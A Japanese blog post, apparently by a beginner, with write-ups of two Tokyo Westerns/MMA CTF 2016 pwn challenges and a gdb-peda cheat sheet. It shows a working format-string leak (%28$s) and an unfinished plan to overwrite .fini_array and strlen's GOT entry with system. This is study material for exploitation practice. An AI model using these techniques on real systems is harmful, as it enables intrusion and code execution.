greeting - Tokyo Westerns/MMA CTF 2nd 2016

bata_24氏が公開しているpwn良問集が存在する

pwn challenges list - Pastebin.com
ctf4u

練習のために、これを順番に埋めていく
適当なことを書いてるかもしれないが初心者なのであしからず

judgement

同じ大会のgreetingより点数が低い問題にjudgementがある
まず練習でそっちをやってみる。

$ ./judgement 
Flag judgment system
Input flag >> AAAA
AAAA
Wrong flag...

実行すると、flag.txtというファイルを読み込む。
ユーザ入力を受け付けて、flagと一致しているか確かめるというプログラム。

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

CANARYが有効で、RELROがPartialなので、FormatString攻撃が有効か。

gdb-peda$ pdisas main
Dump of assembler code for function main:
   ...
   0x0804879c <+113>: lea    eax,[ebp-0x4c]
   0x0804879f <+116>: mov    DWORD PTR [esp],eax
   0x080487a2 <+119>: call   0x80484e0 <printf@plt>
   0x080487a7 <+124>: mov    DWORD PTR [esp+0x4],0x804a0a0
   0x080487af <+132>: lea    eax,[ebp-0x4c]
   0x080487b2 <+135>: mov    DWORD PTR [esp],eax
   0x080487b5 <+138>: call   0x80484d0 <strcmp@plt>
   ...
End of assembler dump.
gdb-peda$ x/s 0x804a0a0
0x804a0a0 <flag>: ""

上より、どうやらスタック上にflagという変数が用意されており、ファイルの中身はこれに展開されているようだ。
FormatString攻撃により、普通にスタックの中身を見るだけでよさそう。

gdb-peda$ x/32xw $esp
0xbfffefd0: 0xbffff07c  0x00000004  0xb7fffaf0  0xb7fdcb48
0xbfffefe0: 0x00000001  0x00000001  0x00000000  0x0000000a
0xbfffeff0: 0x00000001  0x00000000  0xbffff014  0x0804a030
0xbffff000: 0x080482e8  0x08048278  0x08048a01  0xb7e7c6fe
0xbffff010: 0x0804b008  0xb7e23148  0x0000003f  0x0000000a
0xbffff020: 0x00000001  0x0804a000  0x00000002  0x00000001
0xbffff030: 0xbffff078  0xb7ff2500  0x0804b0a0  0xb7eacaa0
0xbffff040: 0x0804a0a0  0xb7fff938  0x00000001  0x08048853

printf@pltまで実行し、スタックを眺めてみると、flagのアドレス0x0804a0a0が存在している
AAAAのアドレス0xbffff07cから28byte先なので、以下のようにすればFLAGが読める。

$ ./judgement 
Flag judgment system
Input flag >> %28$s
flag{abcdefg}
Wrong flag...

greeting

それではgreetingをやってみよう。

$ readelf -s greeting | grep -v @ | grep -v __ | grep FUNC
    30: 08048530     0 FUNC    LOCAL  DEFAULT   13 deregister_tm_clones
    31: 08048560     0 FUNC    LOCAL  DEFAULT   13 register_tm_clones
    35: 080485c0     0 FUNC    LOCAL  DEFAULT   13 frame_dummy
    54: 08048780     0 FUNC    GLOBAL DEFAULT   15 _fini
    65: 08048742    62 FUNC    GLOBAL DEFAULT   14 nao
    69: 080484f0     0 FUNC    GLOBAL DEFAULT   13 _start
    73: 080485ed   140 FUNC    GLOBAL DEFAULT   13 main
    75: 08048679    80 FUNC    GLOBAL DEFAULT   13 getnline
    79: 08048404     0 FUNC    GLOBAL DEFAULT   11 _init

関係ありそうな関数は main以外だとnaoだろうか
その二つをディスアセンブルしてみる

gdb-peda$ pdisas main
Dump of assembler code for function main:
   0x080485ed <+0>:   push   ebp
   0x080485ee <+1>:   mov    ebp,esp
   0x080485f0 <+3>:   and    esp,0xfffffff0
   0x080485f3 <+6>:   sub    esp,0xa0
   0x080485f9 <+12>:  mov    eax,gs:0x14
   0x080485ff <+18>:  mov    DWORD PTR [esp+0x9c],eax
   0x08048606 <+25>:  xor    eax,eax
   0x08048608 <+27>:  mov    DWORD PTR [esp],0x80487b3
   0x0804860f <+34>:  call   0x8048450 <printf@plt>
   0x08048614 <+39>:  mov    DWORD PTR [esp+0x4],0x40
   0x0804861c <+47>:  lea    eax,[esp+0x5c]
   0x08048620 <+51>:  mov    DWORD PTR [esp],eax
   0x08048623 <+54>:  call   0x8048679 <getnline>
   0x08048628 <+59>:  test   eax,eax
   0x0804862a <+61>:  je     0x8048656 <main+105>
   0x0804862c <+63>:  lea    eax,[esp+0x5c]
   0x08048630 <+67>:  mov    DWORD PTR [esp+0x8],eax
   0x08048634 <+71>:  mov    DWORD PTR [esp+0x4],0x80487d0
   0x0804863c <+79>:  lea    eax,[esp+0x1c]
   0x08048640 <+83>:  mov    DWORD PTR [esp],eax
   0x08048643 <+86>:  call   0x80484e0 <sprintf@plt>
   0x08048648 <+91>:  lea    eax,[esp+0x1c]
   0x0804864c <+95>:  mov    DWORD PTR [esp],eax
   0x0804864f <+98>:  call   0x8048450 <printf@plt>
   0x08048654 <+103>: jmp    0x8048662 <main+117>
   0x08048656 <+105>: mov    DWORD PTR [esp],0x80487e9
   0x0804865d <+112>: call   0x8048480 <puts@plt>
   0x08048662 <+117>: mov    edx,DWORD PTR [esp+0x9c]
   0x08048669 <+124>: xor    edx,DWORD PTR gs:0x14
   0x08048670 <+131>: je     0x8048677 <main+138>
   0x08048672 <+133>: call   0x8048470 <__stack_chk_fail@plt>
   0x08048677 <+138>: leave  
   0x08048678 <+139>: ret    
End of assembler dump.
gdb-peda$ pdisas nao
Dump of assembler code for function nao:
   0x08048742 <+0>:   push   ebp
   0x08048743 <+1>:   mov    ebp,esp
   0x08048745 <+3>:   sub    esp,0x18
   0x08048748 <+6>:   mov    eax,ds:0x8049a80
   0x0804874d <+11>:  mov    DWORD PTR [esp+0x4],0x0
   0x08048755 <+19>:  mov    DWORD PTR [esp],eax
   0x08048758 <+22>:  call   0x8048440 <setbuf@plt>
   0x0804875d <+27>:  mov    eax,ds:0x8049aa0
   0x08048762 <+32>:  mov    DWORD PTR [esp+0x4],0x0
   0x0804876a <+40>:  mov    DWORD PTR [esp],eax
   0x0804876d <+43>:  call   0x8048440 <setbuf@plt>
   0x08048772 <+48>:  mov    DWORD PTR [esp],0x804879c
   0x08048779 <+55>:  call   0x8048490 <system@plt>
   0x0804877e <+60>:  leave  
   0x0804877f <+61>:  ret    
End of assembler dump.

運営の方がソースコードも公開してくれているので、そちらも参考にする
Tokyo Westerns/MMA CTF 2nd 2016のPwn作問 - ShiftCrops つれづれなる備忘録

// gcc -m32 -Wl,-z,norelro greeting.c -o greeting
#include <stdio.h>
#include <string.h>
#define BUF_SIZE 64

int getnline(char*, int);

__attribute__((constructor, section("tomori")))
void nao(void){
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    system("echo \"Hello, I'm nao\"!");
}

int main(void){
    char buf[BUF_SIZE], input[BUF_SIZE];

    printf("Please tell me your name... ");
    if(getnline(input, sizeof(input))){
        sprintf(buf, "Nice to meet you, %s :)\n", input);
        printf(buf);
    }
    else
        printf("Don't ignore me ;( \n");
}

int getnline(char *buf, int len){
    char *lf;

    fgets(buf, len, stdin);
    if(lf=strchr(buf, '\n'))
        *lf='\0';

    return strlen(buf);
}

先ほどとは異なり、FLAGをメモリに展開したりしてないので、シェルを起動する必要がある。
アセンブラやソースを見れば明らかだが、system関数がnao内で使われている。
引数に/bin/shを用いてこれを呼び出せばよさそう。

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

見た感じだと、BOFは無理なので、再びFormatString攻撃を行う。
sprintfによって、bufに出力する文字を格納している。そのあとprintfが呼ばれる。
しかし、プログラムはprintfを実行したあと、すぐに終了してしまう。
(GOT OverwriteでGOTを書き換えても、書き換えた後に関数が呼ばれないので意味ない)

そこで、デストラクタに注目する。
デストラクタとは関数の終了時に実行される関数で引数はとらない。
確保したメモリ領域を解放したりとかするのに使うらしい。 C++の基礎 : コンストラクタ/デストラクタ

$ readelf -S greeting | grep fini_array
  [20] .fini_array       FINI_ARRAY      08049934 000934 000004 00  WA  0   0  4

.fini_arrayは書き込み可能なので、攻撃ができそう。

.fini_arrayセクションに登録された関数がexit時に呼ばれます.

しかしここで問題なのは,.fini_arrayに登録された関数には引数が与えられないという点です. なので,ここはmainを再度呼び,ユーザからの入力を第一引数に取る関数のGOTをsystemにしてやることにしましょう. getnline内で,fgetsで入力を取った後のstrlenが良さそうですね.
Tokyo Westerns/MMA CTF 2nd 2016のPwn作問 - ShiftCrops つれづれなる備忘録

ってことで、main関数を再び呼んでみる。
その前にFSBの下調べ。

$ python -c "print 'AABBBB'+'|%p'*30" | ./greeting 
Hello, I'm nao!
Please tell me your name... Nice to meet you, AABBBB|0x80487d0|0xbfb4e51c|(nil)|(nil)|(nil)|(nil)|0x6563694e|0x206f7420|0x7465656d|0x756f7920|0x4141202c|0x42424242|0x7c70257c|0x257c7025|0x70257c70|0x7c70257c|0x257c7025|0x70257c70|0x7c70257c :)

入力から12こ先に0x42424242が登場しているのがわかる

gdb-peda$ pdisas strlen
Dump of assembler code for function strlen@plt:
   0x080484c0 <+0>:   jmp    DWORD PTR ds:0x8049a54
   0x080484c6 <+6>:   push   0x40
   0x080484cb <+11>:  jmp    0x8048430
End of assembler dump.
gdb-peda$ x/x 0x08049a54
0x8049a54 <strlen@got.plt>:   0x080484c6

まだ途中 追記予定

CTFのための gdb/gdb-peda 頻出コマンドのメモ

よく使用するgdbコマンド及びgdb-pedaコマンドをまとめておく

gdb-pedaとはgdbの機能を拡張してくれるやつ

CTFでpwn(exploit)系の問題を解く際は、インストールしておいて損はないと思われる

github.com

gdb-peda インストー

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

gdb コマンド

()内に示した記号で省略可能

helpコマンドで詳しく確認できる

プログラム実行関連

  • run(r)
    プログラムを実行

  • start
    main関数にブレイクポイントを設定し、プログラムを実行

  • break(b) アドレス
    0x08041234にブレイクポイントを設定する場合は b *0x08041234 などと書くことで設定可能
    また、b *main+数字 のように設定もできる

  • quit(q)
    gdbを終了

  • continue(c)
    ブレイクポイントで止まった状態からプログラムを再開する

  • step(s)
    ステップイン実行
    プログラムを1ステップずつ詳細に解析する際はこちら

  • next(n)
    ステップアウト実行
    printfなどの動作が明らかな関数の中身まで追わない場合はこちら

  • kill(k)
    実行中のプログラムを停止させる

メモリ、レジスタ関連

  • info(i) breakpoints(b)
    設定したブレイクポイントを表示する

  • info(i) registers(r)
    レジスタの値を表示する

  • stack
    現在のスタックの状態を表示

  • disas 関数名
    指定した関数をディスアセンブルした結果を表示
    関数名の部分はアドレスで指定もできる
    disas 0xstart 0xendのようにして、指定した範囲のみディスアセンブルもできる

  • x/x アドレス
    アドレスを中身を表示
    x/x 0x08041234なら0x08041234の中身を表示してくれる
    x/x $espのようにレジスタの前に$記号をつけることで、レジスタの中身も表示してくれる
    x/nx 0x08041234では0x08041234からnbyte分表示してくれる
    この辺りは他に詳しくまとまっているので、そちらを参照

  • set アドレス = 値
    アドレスに指定した値を書き込める
    例えばset $eip = 0x08041234とすることでeipレジスタを好きな場所に移動できる

gdb-peda コマンド

peda helpコマンドで詳しく確認できる

公式を見た方が早い説はある

  • pdisas 関数名
    gdbコマンドでいうdisasの強化版 色などがついて見やすい

  • aslr
    ASLRの有効/無向を確認

  • checksec
    プログラムのセキュリティ機構を確認できる
    どの攻撃手法が有効かを調べるにはこれを使おう

  • xinfo アドレス
    アドレスやレジスタの詳しい情報を表示してくれる
    xinfo $eip のように使う

  • telescope n
    スタックの情報を指定した長さだけ取得してくれる
    stackだけだと足りない場合はこちらでたくさん見てみよう

  • dumprop
    プログラム内のROPgadgetを検索してくれる

  • elfheader(readelf)
    その名の通りヘッダ情報を取得してくれる .fini_arrayなどのアドレスも確認できる

  • vmmap
    マッピングされたアドレスの情報を取得する

  • pattern
    簡単に言うと、特定の文字列を扱うコマンド
    pwn系の問題では長い文字列を与えたい場面が多々ある
    そういった場合はpattern create nで長さnの文字列を生成したり、 pattern arg nで長さnの文字列を引数として与えてあげる そうして実行したとき、バッファオーバーフローなどが発生し eipレジスタが特定の文字列(例えば ABAA)に置き換わったとする
    そのような場合はpattern offset ABAAと実行することで、 与えた引数の何byte目からeipレジスタに書き換わるかが容易にわかる

gdb-pedaはこのように、CTFで問題を解く上で、役立つ機能が満載 是非ともインストールしておきたい